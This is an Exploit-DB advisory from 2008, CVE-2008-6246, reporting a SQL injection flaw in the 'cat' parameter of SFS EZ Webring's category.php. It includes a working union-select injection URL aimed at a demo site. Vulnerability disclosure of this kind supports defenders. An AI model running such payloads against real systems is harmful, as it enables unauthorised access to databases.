SFS EZ Webring cat Remote SQL Injection Vulnerability

2008-10-31T00:00:00
ID EDB-ID:6913
Type exploitdb
Reporter d3b4g
Modified 2008-10-31T00:00:00

Description

SFS EZ Webring (cat) Remote SQL Injection Vulnerability. CVE-2008-6246. Webapps exploit for php platform

                                        
                                            	SFS EZ Webring  [cat] Remote SQL Injection Vulnerability
       ===============================================================


----------------------------------------------------------------
script : SFS EZ Webring 
Risk : High

----------------------------------------------------------------

Discovered by : d3b4g

email : bl4ckend[at]gmail[dot]come

Site. www.bl4ck3nd.info
----------------------------------------------------------------
Vuln:/webring/category.php?cat=[sql]

Demo: http://www.turnkeyzone.com/demos/webring/category.php?cat=-1+union+all+select+1,@@version,3,4,5/*

----------------------------------------------------------------


----------------------------------------------------------------
Greetz: str0ke,All my friends
          
-----------------------------------------------------------------
Proud to be a maldivian :))
=======================

# milw0rm.com [2008-10-31]